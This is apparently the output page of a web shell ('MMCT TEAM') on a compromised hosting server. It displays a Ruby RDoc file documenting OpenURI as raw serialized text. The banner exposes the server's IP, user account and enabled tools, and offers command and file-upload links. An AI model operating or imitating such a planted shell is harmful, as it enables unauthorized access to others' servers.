MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/OpenURI/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/thread-self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/OpenURI/cdesc-OpenURI.ri
U:RDoc::NormalModule[iI"OpenURI:EF@0o:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I"NOpenURI is an easy-to-use wrapper for Net::HTTP, Net::HTTPS and Net::FTP.;To:RDoc::Markup::BlankLineS:RDoc::Markup::Heading:
leveli:	textI"Example;T@o;	;[I"OIt is possible to open an http, https or ftp URL as though it were a file:;T@o:RDoc::Markup::Verbatim;[I",open("http://www.ruby-lang.org/") {|f|
;TI"#  f.each_line {|line| p line}
;TI"}
;T:@format0o;	;[I"MThe opened file has several getter methods for its meta-information, as ;TI"4follows, since it is extended by OpenURI::Meta.;T@o;;[
I".open("http://www.ruby-lang.org/en") {|f|
;TI"#  f.each_line {|line| p line}
;TI"U  p f.base_uri         # <URI::HTTP:0x40e6ef2 URL:http://www.ruby-lang.org/en/>
;TI"*  p f.content_type     # "text/html"
;TI"+  p f.charset          # "iso-8859-1"
;TI"!  p f.content_encoding # []
;TI";  p f.last_modified    # Thu Dec 05 02:45:02 UTC 2002
;TI"}
;T;0o;	;[I"LAdditional header fields can be specified by an optional hash argument.;T@o;;[I"*open("http://www.ruby-lang.org/en/",
;TI"/  "User-Agent" => "Ruby/#{RUBY_VERSION}",
;TI"$  "From" => "foo@bar.invalid",
;TI"6  "Referer" => "http://www.ruby-lang.org/") {|f|
;TI"
  # ...
;TI"}
;T;0o;	;[I"MThe environment variables such as http_proxy, https_proxy and ftp_proxy ;TI"5are in effect by default. Here we disable proxy:;T@o;;[I">open("http://www.ruby-lang.org/en/", :proxy => nil) {|f|
;TI"
  # ...
;TI"}
;T;0o;	;[I"NSee OpenURI::OpenRead.open and Kernel#open for more on available options.;T@o;	;[I"0URI objects can be opened in a similar way.;T@o;;[	I"5uri = URI.parse("http://www.ruby-lang.org/en/")
;TI"uri.open {|f|
;TI"
  # ...
;TI"}
;T;0o;	;[I"OURI objects can be read directly. The returned string is also extended by ;TI"OpenURI::Meta.;T@o;;[I"str = uri.read
;TI"p str.base_uri
;T;0o:RDoc::Markup::List:
@type:	NOTE:@items[o:RDoc::Markup::ListItem:@label[I"Author;T;[o;	;[I" Tanaka Akira <akr@m17n.org>;T:
@fileI"lib/open-uri.rb;T:0@omit_headings_from_table_of_contents_below0;0;0[[U:RDoc::Constant[iI"Options;FI"OpenURI::Options;T00o;;[;@Y;0@Y@cRDoc::NormalModule0[[[I"
class;T[[:public[[:protected[[:private[[I"
instance;T[[;[[;[[;[[[U:RDoc::Context::Section[i0o;;[;0;0[@Y@YcRDoc::TopLevel

MMCT - 2023